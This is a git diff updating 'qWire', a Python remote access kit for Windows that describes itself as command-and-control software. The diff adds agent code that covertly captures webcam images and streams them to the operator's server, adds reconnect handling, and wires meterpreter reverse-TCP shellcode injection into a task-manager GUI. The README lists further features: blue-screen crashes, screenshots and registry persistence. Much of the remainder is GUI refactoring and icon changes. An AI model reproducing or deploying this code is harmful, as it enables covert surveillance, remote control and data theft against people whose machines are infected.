diff --git a/README.md b/README.md index 60bf81a..c31cd9a 100644 --- a/README.md +++ b/README.md @@ -61,4 +61,14 @@ Server tested on: * Connection & Task Manager widgets will now highlight the entire row * Added meterpreter shellcode injector in the Task Manager * Added x64/Reverse TCP payload to injector -* Added CMD Shell to Shells > System Shells \ No newline at end of file +* Added CMD Shell to Shells > System Shells + +# Update 1.0.21 +* Re-organized code for GUI's +* Re-structured some of the file hierarchy around the builder and the GUI's +* Added webcam snapshot feature to surveillance +* Re-Structured Surveillance menu. + * Surveillance > Desktop > Screenshot + * Surveillance > Webcam > Snapshot +* Various code optimizations +* Fixed issue with agent disconnecting when server shuts down during initial handshake diff --git a/agent/agent.py b/agent/windows_10/agent.py similarity index 88% rename from agent/agent.py rename to agent/windows_10/agent.py index 0ecf1b7..116752c 100644 --- a/agent/agent.py +++ b/agent/windows_10/agent.py @@ -10,7 +10,7 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- import socket @@ -21,6 +21,7 @@ import subprocess import threading import struct +import cv2 from PIL import ImageGrab from time import sleep @@ -89,6 +90,15 @@ def extract_sys_ip_info(self): extracted_info = f'{sysinfo_output}\n{ip_config_output}' #Join the two variables return extracted_info #Return the output + #Returns bool based on webcam detection + def check_for_webcam(self): + webcam = cv2.VideoCapture(0) #Create webcam object for the first webcam that is found + if not webcam.isOpened(): #If it can't be opened + webcam.release() #Release the webcam + return False #Return false + webcam.release() #Else if the cam can be opened, release + return True #return true + class SystemManager: #Function will crash the computer with a blue screen @@ -151,6 +161,7 @@ def __init__(self): self.disconnect = 'disconnect' self.process_manager = 'proc_list' self.term_process = 'terminate' + self.snapshot = 'snap_shot' #Function will connect to server to initiate handshake def connect_to_server(self): @@ -246,6 +257,8 @@ def main(self): SystemManager().extract_process_list() #Send process's to server if action_flag == self.term_process: #if the action is to kill a process SystemManager().kill_task(server_command[1]) #kill the task by pid received from server + if action_flag == self.snapshot: #if the action is to send a snapshot from the webcam + StreamSocket().webcam_snapshot() #Send a webcam snapshot #Function will retrieve all data sent by server socket def recv_all_data(self): @@ -261,9 +274,13 @@ def recv_all_data(self): return bytes_data #Return the bytes data when the data received == the data sent else: #Else the initial data is all the data return data_size[1] #Return the encrypted data half of the array from the split + except ValueError: #If there is a value error, indicating the connection with the server was lost return self.connect_to_server() #connect back to the server + except ConnectionResetError: #If the server shuts down in the middle of the transfer + return self.connect_to_server() #Connect back to it + #Funtion will get data from the server and return it as plaintext. If the server disconnects, the client will attempt #To connect back def receive_server_command(self): @@ -307,6 +324,7 @@ def take_screenshot(self): #Function will take single or multiple screenshots depending on boolean parameter def stream_desktop(self,screenshot): StreamSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #Create socket + StreamSocket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) ip_address = socket.gethostbyname(ClientSocket().dns_address) #Resolve dns StreamSocket.connect((ip_address,STRM_PORT)) #connect to ip and streaming port if not screenshot: #If screenshot is false @@ -320,6 +338,26 @@ def stream_desktop(self,screenshot): StreamSocket.sendall(image_data) #send struct StreamSocket.close() #close socket + #Function will send a snapshot of the webcam if one is present, else it will return a + #message that prompts the server that it couldnt find it + def webcam_snapshot(self): + if not Utilitys().check_for_webcam(): #If the check function doesn't find a webcam + ExfilSocket().exfil_socket_send('NoneFound') #Notify the server + else: #else, the function returns true + ExfilSocket().exfil_socket_send('Found') #Notify server to continue handling + stream_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Create socket + stream_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #Set sock opts + ip_address = socket.gethostbyname(ClientSocket().dns_address) # Resolve dns + stream_sock.connect((ip_address, STRM_PORT)) # connect to ip and streaming port + web_cam = cv2.VideoCapture(0) #Create webcam object + ret, img = web_cam.read() #Capture image from webcam + cv2.imwrite(self.image_file_path,img) #Write image to file + with open(self.image_file_path,'rb') as file: #Read the image + data = file.read() #Capture the date + file.close() + stream_sock.sendall(struct.pack(">Q",len(data))) #the len of the data as a struct + stream_sock.sendall(data) #Send the rest of the data + stream_sock.close() #Close socket class CodeExecution(): diff --git a/core/Qt5/agent_builder_window.py b/core/Qt5/builder_guis/windows10/agent_builder_window.py similarity index 93% rename from core/Qt5/agent_builder_window.py rename to core/Qt5/builder_guis/windows10/agent_builder_window.py index 97e5ce8..622238a 100644 --- a/core/Qt5/agent_builder_window.py +++ b/core/Qt5/builder_guis/windows10/agent_builder_window.py @@ -10,13 +10,13 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- -from ..logging.logging import DNSconfigs,NetworkingConfigs -from ..builder.agent_builder import Builder -from ..utils.utils import ErrorHandling -from ..networking.IP_Handler import NicHandler -from ..Qt5.icons import IconObj +from core.logging.logging import DNSconfigs,NetworkingConfigs +from core.builder.windows10.agent_builder import Builder +from core.utils.utils import ErrorHandling +from core.networking.utils.IP_Handler import NicHandler +from core.Qt5.icons import IconObj from PyQt5 import QtCore, QtGui, QtWidgets @@ -58,126 +58,137 @@ def check_builder_options(self): host, self.file_name_input.text(),reg_key,perst_option,encryption_option) # def setupUi(self, builder_dialog): + """ + Initialize UI parameters + """ builder_dialog.setObjectName("builder_dialog") builder_dialog.resize(460, 479) builder_dialog.setStyleSheet("background-color: rgb(0, 0, 0);") builder_dialog.setWindowIcon(IconObj().builder_icon) + """ + Create widget objects + """ self.networking_group_box = QtWidgets.QGroupBox(builder_dialog) - self.networking_group_box.setGeometry(QtCore.QRect(10, 10, 441, 101)) - font = QtGui.QFont() - font.setFamily("Courier 10 Pitch") - font.setPointSize(14) - self.networking_group_box.setFont(font) - self.networking_group_box.setStyleSheet("background-color: rgb(51, 51, 51);") - self.networking_group_box.setAlignment(QtCore.Qt.AlignCenter) - self.networking_group_box.setObjectName("networking_group_box") self.host_combobox = QtWidgets.QComboBox(self.networking_group_box) - self.host_combobox.setGeometry(QtCore.QRect(80, 30, 351, 27)) - self.host_combobox.setObjectName("host_combobox") - for domain in DNSconfigs().retrieve_dns_domains(): #for domains in the domains text file - self.host_combobox.addItem(domain) #add domain to dropdown menu - self.host_combobox.addItem('Local IP') - self.host_combobox.addItem('Public IP') self.host_label = QtWidgets.QLabel(self.networking_group_box) - self.host_label.setGeometry(QtCore.QRect(10, 30, 61, 21)) - font = QtGui.QFont() - font.setPointSize(13) - self.host_label.setFont(font) - self.host_label.setObjectName("host_label") self.port_label = QtWidgets.QLabel(self.networking_group_box) - self.port_label.setGeometry(QtCore.QRect(40, 60, 41, 19)) - font = QtGui.QFont() - font.setPointSize(13) - self.port_label.setFont(font) - self.port_label.setObjectName("port_label") self.port_input = QtWidgets.QLineEdit(self.networking_group_box) - self.port_input.setGeometry(QtCore.QRect(80, 60, 113, 31)) - self.port_input.setObjectName("port_input") self.obfuscation_groupbox = QtWidgets.QGroupBox(builder_dialog) + self.encryption_radio = QtWidgets.QRadioButton(self.obfuscation_groupbox) + self.persistance_groupbox = QtWidgets.QGroupBox(builder_dialog) + self.hkcu_radio = QtWidgets.QRadioButton(self.persistance_groupbox) + self.hklm_radio = QtWidgets.QRadioButton(self.persistance_groupbox) + self.none_radio = QtWidgets.QRadioButton(self.persistance_groupbox) + self.socket_groupbox = QtWidgets.QGroupBox(builder_dialog) + self.exfil_port_input = QtWidgets.QLineEdit(self.socket_groupbox) + self.stream_port_input = QtWidgets.QLineEdit(self.socket_groupbox) + self.label = QtWidgets.QLabel(self.socket_groupbox) + self.label_2 = QtWidgets.QLabel(self.socket_groupbox) + self.file_settings_groupbox = QtWidgets.QGroupBox(builder_dialog) + self.file_name_input = QtWidgets.QLineEdit(self.file_settings_groupbox) + self.file_name_label = QtWidgets.QLabel(self.file_settings_groupbox) + self.build_stub_button = QtWidgets.QPushButton(builder_dialog, clicked=lambda: self.check_builder_options()) + """ + Set widget geometry + """ + self.networking_group_box.setGeometry(QtCore.QRect(10, 10, 441, 101)) + self.host_combobox.setGeometry(QtCore.QRect(80, 30, 351, 27)) + self.host_label.setGeometry(QtCore.QRect(10, 30, 61, 21)) + self.port_label.setGeometry(QtCore.QRect(40, 60, 41, 19)) + self.port_input.setGeometry(QtCore.QRect(80, 60, 113, 31)) self.obfuscation_groupbox.setGeometry(QtCore.QRect(10, 120, 441, 101)) + self.encryption_radio.setGeometry(QtCore.QRect(10, 30, 141, 24)) + self.persistance_groupbox.setGeometry(QtCore.QRect(10, 230, 211, 111)) + self.hkcu_radio.setGeometry(QtCore.QRect(10, 30, 114, 24)) + self.hklm_radio.setGeometry(QtCore.QRect(10, 50, 114, 24)) + self.none_radio.setGeometry(QtCore.QRect(10, 70, 114, 24)) + self.socket_groupbox.setGeometry(QtCore.QRect(230, 230, 221, 111)) + self.exfil_port_input.setGeometry(QtCore.QRect(100, 30, 113, 33)) + self.stream_port_input.setGeometry(QtCore.QRect(100, 70, 113, 33)) + self.label.setGeometry(QtCore.QRect(20, 40, 67, 19)) + self.label_2.setGeometry(QtCore.QRect(10, 70, 81, 20)) + self.file_settings_groupbox.setGeometry(QtCore.QRect(10, 350, 441, 71)) + self.file_name_input.setGeometry(QtCore.QRect(110, 30, 321, 33)) + self.file_name_label.setGeometry(QtCore.QRect(10, 40, 81, 21)) + self.build_stub_button.setGeometry(QtCore.QRect(10, 430, 441, 41)) + """ + Set widget object name + """ + self.networking_group_box.setObjectName("networking_group_box") + self.host_combobox.setObjectName("host_combobox") + self.host_label.setObjectName("host_label") + self.port_label.setObjectName("port_label") + self.port_input.setObjectName("port_input") + self.obfuscation_groupbox.setObjectName("obfuscation_groupbox") + self.encryption_radio.setObjectName("encryption_radio") + self.persistance_groupbox.setObjectName("compilation_groupbox") + self.hkcu_radio.setObjectName("raw_script_radio") + self.hklm_radio.setObjectName("pyinstaller_radio") + self.none_radio.setObjectName('none_radio') + self.socket_groupbox.setObjectName("socket_groupbox") + self.exfil_port_input.setObjectName("exfil_port_input") + self.stream_port_input.setObjectName("stream_port_input") + self.label.setObjectName("label") + self.label_2.setObjectName("label_2") + self.file_settings_groupbox.setObjectName("file_settings_groupbox") + self.file_name_input.setObjectName("file_name_input") + self.file_name_label.setObjectName("file_name_label") + self.build_stub_button.setObjectName("build_stub_button") + """ + Set font sizes and aligntments for widgets + """ font = QtGui.QFont() font.setFamily("Courier 10 Pitch") font.setPointSize(14) self.obfuscation_groupbox.setFont(font) self.obfuscation_groupbox.setStyleSheet("background-color: rgb(51, 51, 51);") self.obfuscation_groupbox.setAlignment(QtCore.Qt.AlignCenter) - self.obfuscation_groupbox.setObjectName("obfuscation_groupbox") - self.encryption_radio = QtWidgets.QRadioButton(self.obfuscation_groupbox) - self.encryption_radio.setGeometry(QtCore.QRect(10, 30, 141, 24)) - self.encryption_radio.setObjectName("encryption_radio") - self.persistance_groupbox = QtWidgets.QGroupBox(builder_dialog) - self.persistance_groupbox.setGeometry(QtCore.QRect(10, 230, 211, 111)) font = QtGui.QFont() font.setFamily("Courier 10 Pitch") font.setPointSize(14) self.persistance_groupbox.setFont(font) self.persistance_groupbox.setStyleSheet("background-color: rgb(51, 51, 51);") self.persistance_groupbox.setAlignment(QtCore.Qt.AlignCenter) - self.persistance_groupbox.setObjectName("compilation_groupbox") - self.hkcu_radio = QtWidgets.QRadioButton(self.persistance_groupbox) - self.hkcu_radio.setGeometry(QtCore.QRect(10, 30, 114, 24)) - self.hkcu_radio.setObjectName("raw_script_radio") - self.hklm_radio = QtWidgets.QRadioButton(self.persistance_groupbox) - self.hklm_radio.setGeometry(QtCore.QRect(10, 50, 114, 24)) - self.hklm_radio.setObjectName("pyinstaller_radio") - self.none_radio = QtWidgets.QRadioButton(self.persistance_groupbox) - self.none_radio.setGeometry(QtCore.QRect(10, 70, 114, 24)) - self.none_radio.setObjectName('none_radio') - self.socket_groupbox = QtWidgets.QGroupBox(builder_dialog) - self.socket_groupbox.setGeometry(QtCore.QRect(230, 230, 221, 111)) font = QtGui.QFont() font.setFamily("Courier 10 Pitch") font.setPointSize(14) self.socket_groupbox.setFont(font) self.socket_groupbox.setStyleSheet("background-color: rgb(51, 51, 51);") self.socket_groupbox.setAlignment(QtCore.Qt.AlignCenter) - self.socket_groupbox.setObjectName("socket_groupbox") - self.exfil_port_input = QtWidgets.QLineEdit(self.socket_groupbox) - self.exfil_port_input.setGeometry(QtCore.QRect(100, 30, 113, 33)) - self.exfil_port_input.setObjectName("exfil_port_input") - self.exfil_port_input.setText(NetworkingConfigs().retrieve_exfil_port()) - self.stream_port_input = QtWidgets.QLineEdit(self.socket_groupbox) - self.stream_port_input.setGeometry(QtCore.QRect(100, 70, 113, 33)) - self.stream_port_input.setObjectName("stream_port_input") - self.stream_port_input.setText(NetworkingConfigs().retrieve_stream_port()) - self.label = QtWidgets.QLabel(self.socket_groupbox) - self.label.setGeometry(QtCore.QRect(20, 40, 67, 19)) - self.label.setObjectName("label") - self.label_2 = QtWidgets.QLabel(self.socket_groupbox) - self.label_2.setGeometry(QtCore.QRect(10, 70, 81, 20)) - self.label_2.setObjectName("label_2") - self.file_settings_groupbox = QtWidgets.QGroupBox(builder_dialog) - self.file_settings_groupbox.setGeometry(QtCore.QRect(10, 350, 441, 71)) font = QtGui.QFont() font.setFamily("Courier 10 Pitch") font.setPointSize(14) self.file_settings_groupbox.setFont(font) self.file_settings_groupbox.setStyleSheet("background-color: rgb(51, 51, 51);") self.file_settings_groupbox.setAlignment(QtCore.Qt.AlignCenter) - self.file_settings_groupbox.setObjectName("file_settings_groupbox") - self.file_name_input = QtWidgets.QLineEdit(self.file_settings_groupbox) - self.file_name_input.setGeometry(QtCore.QRect(110, 30, 321, 33)) - self.file_name_input.setObjectName("file_name_input") - self.file_name_label = QtWidgets.QLabel(self.file_settings_groupbox) - self.file_name_label.setGeometry(QtCore.QRect(10, 40, 81, 21)) font = QtGui.QFont() font.setPointSize(12) self.file_name_label.setFont(font) - self.file_name_label.setObjectName("file_name_label") - self.build_stub_button = QtWidgets.QPushButton(builder_dialog,clicked=lambda: self.check_builder_options()) - self.build_stub_button.setGeometry(QtCore.QRect(10, 430, 441, 41)) font = QtGui.QFont() font.setFamily("Courier 10 Pitch") font.setPointSize(15) self.build_stub_button.setFont(font) - self.build_stub_button.setObjectName("build_stub_button") - + self.networking_group_box.setStyleSheet("background-color: rgb(51, 51, 51);") + self.networking_group_box.setAlignment(QtCore.Qt.AlignCenter) + """ + Add items to widgets + """ + for domain in DNSconfigs().retrieve_dns_domains(): #for domains in the domains text file + self.host_combobox.addItem(domain) #add domain to dropdown menu + self.host_combobox.addItem('Local IP') + self.host_combobox.addItem('Public IP') + """ + Set widget text and finish setting up UI + """ + self.exfil_port_input.setText(NetworkingConfigs().retrieve_exfil_port()) + self.stream_port_input.setText(NetworkingConfigs().retrieve_stream_port()) self.retranslateUi(builder_dialog) QtCore.QMetaObject.connectSlotsByName(builder_dialog) + def retranslateUi(self, builder_dialog): _translate = QtCore.QCoreApplication.translate - builder_dialog.setWindowTitle(_translate("builder_dialog", "Agent Builder")) + builder_dialog.setWindowTitle(_translate("builder_dialog", "Windows 10 Agent Builder")) self.networking_group_box.setTitle(_translate("builder_dialog", "Networking Settings")) self.host_label.setText(_translate("builder_dialog", " Host")) self.port_label.setText(_translate("builder_dialog", "Port")) diff --git a/core/Qt5/handling_guis/image_display_window.py b/core/Qt5/handling_guis/image_display_window.py new file mode 100644 index 0000000..e27736d --- /dev/null +++ b/core/Qt5/handling_guis/image_display_window.py @@ -0,0 +1,75 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.21 +# ------------------------------------------------------------- +import os + +from PyQt5 import QtCore,QtWidgets +from core.utils.file_paths import DSFilePath,ClientPath +from core.Qt5.icons import IconObj,ImageObj +from core.logging.logging import LoggingUtilitys +from core.builder.utils.encryption import Scrambler +from core.utils.utils import Notifications + +from PIL import Image + +class Ui_image_data_window(object): + + #Function will get the size of the screenshot to define the borders of the window + def get_image_size(self): + image = Image.open(DSFilePath().streaming_frame) #Create image object + self.width, self.height = image.size #Capture width and height of image object + + #Function will save a file to the image_data directory with a random string for the name + def save_raw_file(self): + file_path = f'{ClientPath().image_data_dir}{Scrambler().scrambleVar(7)}.jpg' + original_image_data = LoggingUtilitys().receive_file_bytes(DSFilePath().streaming_frame) + LoggingUtilitys().write_bytes_to_file(file_path,original_image_data) + #os.remove(DSFilePath().streaming_frame) + Notifications().raise_notification( + f'Saved file as {file_path}', + 'Success' + ) + + def setupUi(self, Dialog): + """ + Initialize UI parameters + """ + Dialog.setObjectName("ss_window") + Dialog.setWindowIcon(IconObj().screenshot_icon) + """ + Get the image size, resize the window to the size of the photo + and set the style sheet to the photo from the client + """ + self.get_image_size() + Dialog.resize(self.width,self.height) + Dialog.setStyleSheet(f"background-image: url({DSFilePath().streaming_frame});") + """ + Create menu bar for window + """ + self.menu_bar = QtWidgets.QMenuBar(Dialog) + self.menu_bar.setGeometry(QtCore.QRect(0,0,self.width,24)) + self.menu_bar.setObjectName('menu_bar') + self.save_file = QtWidgets.QAction(Dialog,triggered=lambda: self.save_raw_file()) + self.save_file.setObjectName('save_file') + self.menu_bar.addAction(self.save_file) + """ + Finish setting up UI + """ + self.retranslateUi(Dialog) + QtCore.QMetaObject.connectSlotsByName(Dialog) + + def retranslateUi(self, Dialog): + _translate = QtCore.QCoreApplication.translate + self.save_file.setText(_translate("ss_window", "Save")) + Dialog.setWindowTitle(_translate("ss_window", "Image Data")) diff --git a/core/Qt5/task_manager_window.py b/core/Qt5/handling_guis/task_manager_window.py similarity index 87% rename from core/Qt5/task_manager_window.py rename to core/Qt5/handling_guis/task_manager_window.py index c623887..d64f818 100644 --- a/core/Qt5/task_manager_window.py +++ b/core/Qt5/handling_guis/task_manager_window.py @@ -10,21 +10,21 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- from PyQt5 import QtCore, QtGui, QtWidgets from PyQt5.Qt import Qt from PyQt5.QtWidgets import QWidget,QMenu from PyQt5.QtCore import QEvent -from ..utils.file_paths import DSFilePath,BGPath -from ..logging.logging import LoggingUtilitys,ConsoleWindow -from ..Qt5.icons import IconObj +from core.utils.file_paths import DSFilePath,BGPath +from core.logging.logging import LoggingUtilitys,ConsoleWindow +from core.Qt5.icons import IconObj -from ..client_handling.enumeration import SystemCommands -from ..client_handling.system import SystemManager -from ..client_handling.shell import Meterpreter -from ..client_handling.meterpreter_payloads import MSFPayload +from core.client_handling.enumeration import SystemCommands +from core.client_handling.system import SystemManager +from core.client_handling.shell import Meterpreter +from core.client_handling.meterpreter_payloads import MSFPayload import os @@ -114,10 +114,10 @@ def eventFilter(self, source, event): if action == kill_process: #If the action is to kill a process self.kill_task() #Kill the task - if action == x64_reverse_tcp: - ConsoleWindow().log_to_console(f'Generating meterpreter shellcode, please standby!') - process_pid = self.task_table_widget.item(self.task_table_widget.currentRow(),1).text() - Meterpreter().inject_msf_payload( + if action == x64_reverse_tcp: #if the action is to inject msf shellcode + ConsoleWindow().log_to_console(f'Generating meterpreter shellcode, please standby!') #Log to console + process_pid = self.task_table_widget.item(self.task_table_widget.currentRow(),1).text() #Get process pid + Meterpreter().inject_msf_payload( #Prepare and inject payload MSFPayload().staged_x64_reverse_tcp, process_pid, self.encryption_key, @@ -127,17 +127,28 @@ def eventFilter(self, source, event): return super().eventFilter(source, event) def setupUi(self, task_manager_dialog,client_socket_obj,encryption_key): + """ + Initialize UI parameters + """ task_manager_dialog.setObjectName("task_manager_dialog") task_manager_dialog.resize(535, 704) task_manager_dialog.setWindowIcon(IconObj().task_manager_icon) + """ + Make encryption key and client socket obj accessible throughout the class + so we can communicate with the agent that is presenting us the process's + """ self.client_socket_obj = client_socket_obj self.encryption_key = encryption_key + """ + Create object, set geometry, stylesheet and name + """ self.task_table_widget = QtWidgets.QTableWidget(task_manager_dialog) self.task_table_widget.setGeometry(QtCore.QRect(20, 30, 491, 581)) self.task_table_widget.setStyleSheet(f"background-image: url({BGPath().task_man_bg});") - self.task_table_widget.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectionBehavior.SelectRows) - self.task_table_widget.installEventFilter(self) self.task_table_widget.setObjectName("task_table_widget") + """ + Handle table widget settings + """ self.task_table_widget.setColumnCount(3) self.task_table_widget.setRowCount(0) item = QtWidgets.QTableWidgetItem() @@ -149,6 +160,11 @@ def setupUi(self, task_manager_dialog,client_socket_obj,encryption_key): item = QtWidgets.QTableWidgetItem() self.task_table_widget.setHorizontalHeaderItem(2, item) self.task_table_widget.setColumnWidth(2, 92) + """ + Set configurations for the table widget which will display all of our + running process's on the client + """ + self.task_table_widget.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectionBehavior.SelectRows) self.task_table_widget.horizontalHeader().setVisible(True) self.task_table_widget.horizontalHeader().setCascadingSectionResizes(False) self.task_table_widget.horizontalHeader().setHighlightSections(False) @@ -158,6 +174,10 @@ def setupUi(self, task_manager_dialog,client_socket_obj,encryption_key): self.task_table_widget.verticalHeader().setSortIndicatorShown(False) self.task_table_widget.verticalHeader().setStretchLastSection(False) self.task_table_widget.verticalHeader().setVisible(False) + """ + Finish setting up the UI and populate the table widget with our process data from the client + """ + self.task_table_widget.installEventFilter(self) self.retranslateUi(task_manager_dialog) self.populate_task_list() QtCore.QMetaObject.connectSlotsByName(task_manager_dialog) diff --git a/core/Qt5/icons.py b/core/Qt5/icons.py index 5040948..3310580 100644 --- a/core/Qt5/icons.py +++ b/core/Qt5/icons.py @@ -10,7 +10,7 @@ # [A Remote Access Kit for Windows] # Author: SlizBinksman # Github: https://github.com/slizbinksman -# Build: 1.0.2 +# Build: 1.0.21 # ------------------------------------------------------------- from ..logging.logging import LoggingUtilitys from PyQt5.QtGui import QIcon,QPixmap @@ -50,6 +50,11 @@ def __init__(self): self.injector_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/injector_icon.png')) self.shellcode_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/shellcode_icon.png')) self.cmd_shell_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/cmd_shell_icon.png')) + self.microsoft_logo_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/microsoft_logo.png')) + self.windows_10_logo = QIcon(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/windows_10_logo.png')) + self.webcam_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/webcam_icon.png')) + self.file_icon = QIcon(LoggingUtilitys().get_misc_file_path_str('core/Qt5/img/file_ex_icon.png')) + #Create image object with image file paths. This should be moved to utils/file_paths class ImageObj: diff --git a/core/Qt5/img/admin_icon.png b/core/Qt5/img/admin_icon.png index 3bd8b75..06b38e0 100644 Binary files a/core/Qt5/img/admin_icon.png and b/core/Qt5/img/admin_icon.png differ diff --git a/core/Qt5/img/bsod_icon.png b/core/Qt5/img/bsod_icon.png index fcd298e..3a080d6 100644 Binary files a/core/Qt5/img/bsod_icon.png and b/core/Qt5/img/bsod_icon.png differ diff --git a/core/Qt5/img/check_mark.png b/core/Qt5/img/check_mark.png index 45ba287..3d03910 100644 Binary files a/core/Qt5/img/check_mark.png and b/core/Qt5/img/check_mark.png differ diff --git a/core/Qt5/img/cmd_shell_icon.png b/core/Qt5/img/cmd_shell_icon.png index c66036a..4545cde 100644 Binary files a/core/Qt5/img/cmd_shell_icon.png and b/core/Qt5/img/cmd_shell_icon.png differ diff --git a/core/Qt5/img/computer_icon.png b/core/Qt5/img/computer_icon.png index a397092..1709e38 100644 Binary files a/core/Qt5/img/computer_icon.png and b/core/Qt5/img/computer_icon.png differ diff --git a/core/Qt5/img/disconnect_icon.png b/core/Qt5/img/disconnect_icon.png index 3b5671d..dba79e9 100644 Binary files a/core/Qt5/img/disconnect_icon.png and b/core/Qt5/img/disconnect_icon.png differ diff --git a/core/Qt5/img/discord_logo.png b/core/Qt5/img/discord_logo.png index e900974..09a63b1 100644 Binary files a/core/Qt5/img/discord_logo.png and b/core/Qt5/img/discord_logo.png differ diff --git a/core/Qt5/img/duck_dns_icon.png b/core/Qt5/img/duck_dns_icon.png index 046e248..aee4425 100644 Binary files a/core/Qt5/img/duck_dns_icon.png and b/core/Qt5/img/duck_dns_icon.png differ diff --git a/core/Qt5/img/file_ex_icon.png b/core/Qt5/img/file_ex_icon.png new file mode 100644 index 0000000..e87c695 Binary files /dev/null and b/core/Qt5/img/file_ex_icon.png differ diff --git a/core/Qt5/img/hammer_icon.png b/core/Qt5/img/hammer_icon.png index ccba5aa..4856be4 100644 Binary files a/core/Qt5/img/hammer_icon.png and b/core/Qt5/img/hammer_icon.png differ diff --git a/core/Qt5/img/info_icon.png b/core/Qt5/img/info_icon.png index 7e6ab3b..67bd32a 100644 Binary files a/core/Qt5/img/info_icon.png and b/core/Qt5/img/info_icon.png differ diff --git a/core/Qt5/img/injector_icon.png b/core/Qt5/img/injector_icon.png index 838ea63..a0c5867 100644 Binary files a/core/Qt5/img/injector_icon.png and b/core/Qt5/img/injector_icon.png differ diff --git a/core/Qt5/img/magn_glass_icon.png b/core/Qt5/img/magn_glass_icon.png index 1b14657..abaf164 100644 Binary files a/core/Qt5/img/magn_glass_icon.png and b/core/Qt5/img/magn_glass_icon.png differ diff --git a/core/Qt5/img/main_window_icon.png b/core/Qt5/img/main_window_icon.png index 786cd35..070b8c4 100644 Binary files a/core/Qt5/img/main_window_icon.png and b/core/Qt5/img/main_window_icon.png differ diff --git a/core/Qt5/img/microsoft_logo.png b/core/Qt5/img/microsoft_logo.png new file mode 100644 index 0000000..7429b9a Binary files /dev/null and b/core/Qt5/img/microsoft_logo.png differ diff --git a/core/Qt5/img/msf_icon.png b/core/Qt5/img/msf_icon.png index fe81f3d..3092322 100644 Binary files a/core/Qt5/img/msf_icon.png and b/core/Qt5/img/msf_icon.png differ diff --git a/core/Qt5/img/networking_icon.png b/core/Qt5/img/networking_icon.png index c1c8906..e1ea616 100644 Binary files a/core/Qt5/img/networking_icon.png and b/core/Qt5/img/networking_icon.png differ diff --git a/core/Qt5/img/nic_icon.png b/core/Qt5/img/nic_icon.png index 14962ff..72f9017 100644 Binary files a/core/Qt5/img/nic_icon.png and b/core/Qt5/img/nic_icon.png differ diff --git a/core/Qt5/img/ping_icon.png b/core/Qt5/img/ping_icon.png index d7f542f..f47ed38 100644 Binary files a/core/Qt5/img/ping_icon.png and b/core/Qt5/img/ping_icon.png differ diff --git a/core/Qt5/img/powershell_icon.png b/core/Qt5/img/powershell_icon.png index c84167a..b7f820f 100644 Binary files a/core/Qt5/img/powershell_icon.png and b/core/Qt5/img/powershell_icon.png differ diff --git a/core/Qt5/img/python_icon.png b/core/Qt5/img/python_icon.png index 3035f5c..507a843 100644 Binary files a/core/Qt5/img/python_icon.png and b/core/Qt5/img/python_icon.png differ diff --git a/core/Qt5/img/qWire_info.png b/core/Qt5/img/qWire_info.png old mode 100755 new mode 100644 index c935079..3d65bd6 Binary files a/core/Qt5/img/qWire_info.png and b/core/Qt5/img/qWire_info.png differ diff --git a/core/Qt5/img/qWire_logo.png b/core/Qt5/img/qWire_logo.png index 1fdafd1..f0d4201 100644 Binary files a/core/Qt5/img/qWire_logo.png and b/core/Qt5/img/qWire_logo.png differ diff --git a/core/Qt5/img/reconnect_icon.png b/core/Qt5/img/reconnect_icon.png index 038d513..39a2c70 100644 Binary files a/core/Qt5/img/reconnect_icon.png and b/core/Qt5/img/reconnect_icon.png differ diff --git a/core/Qt5/img/satellite_icon.png b/core/Qt5/img/satellite_icon.png index d28ca76..536cd76 100644 Binary files a/core/Qt5/img/satellite_icon.png and b/core/Qt5/img/satellite_icon.png differ diff --git a/core/Qt5/img/satellite_win_icon.png b/core/Qt5/img/satellite_win_icon.png index 1e85db6..b4733e7 100644 Binary files a/core/Qt5/img/satellite_win_icon.png and b/core/Qt5/img/satellite_win_icon.png differ diff --git a/core/Qt5/img/screenshot_icon.png b/core/Qt5/img/screenshot_icon.png index 5ba5801..0b5f9a5 100644 Binary files a/core/Qt5/img/screenshot_icon.png and b/core/Qt5/img/screenshot_icon.png differ diff --git a/core/Qt5/img/settings_background.png b/core/Qt5/img/settings_background.png index 0a9906b..bd18517 100644 Binary files a/core/Qt5/img/settings_background.png and b/core/Qt5/img/settings_background.png differ diff --git a/core/Qt5/img/settings_icon.png b/core/Qt5/img/settings_icon.png index 8b9d29b..cc85ad0 100644 Binary files a/core/Qt5/img/settings_icon.png and b/core/Qt5/img/settings_icon.png differ diff --git a/core/Qt5/img/shellcode_icon.png b/core/Qt5/img/shellcode_icon.png index a2c9da0..0143a68 100644 Binary files a/core/Qt5/img/shellcode_icon.png and b/core/Qt5/img/shellcode_icon.png differ diff --git a/core/Qt5/img/shells_icon.png b/core/Qt5/img/shells_icon.png index f6a490a..9aa3e78 100644 Binary files a/core/Qt5/img/shells_icon.png and b/core/Qt5/img/shells_icon.png differ diff --git a/core/Qt5/img/shutdown_icon.png b/core/Qt5/img/shutdown_icon.png index 38e8ee7..e779776 100644 Binary files a/core/Qt5/img/shutdown_icon.png and b/core/Qt5/img/shutdown_icon.png differ 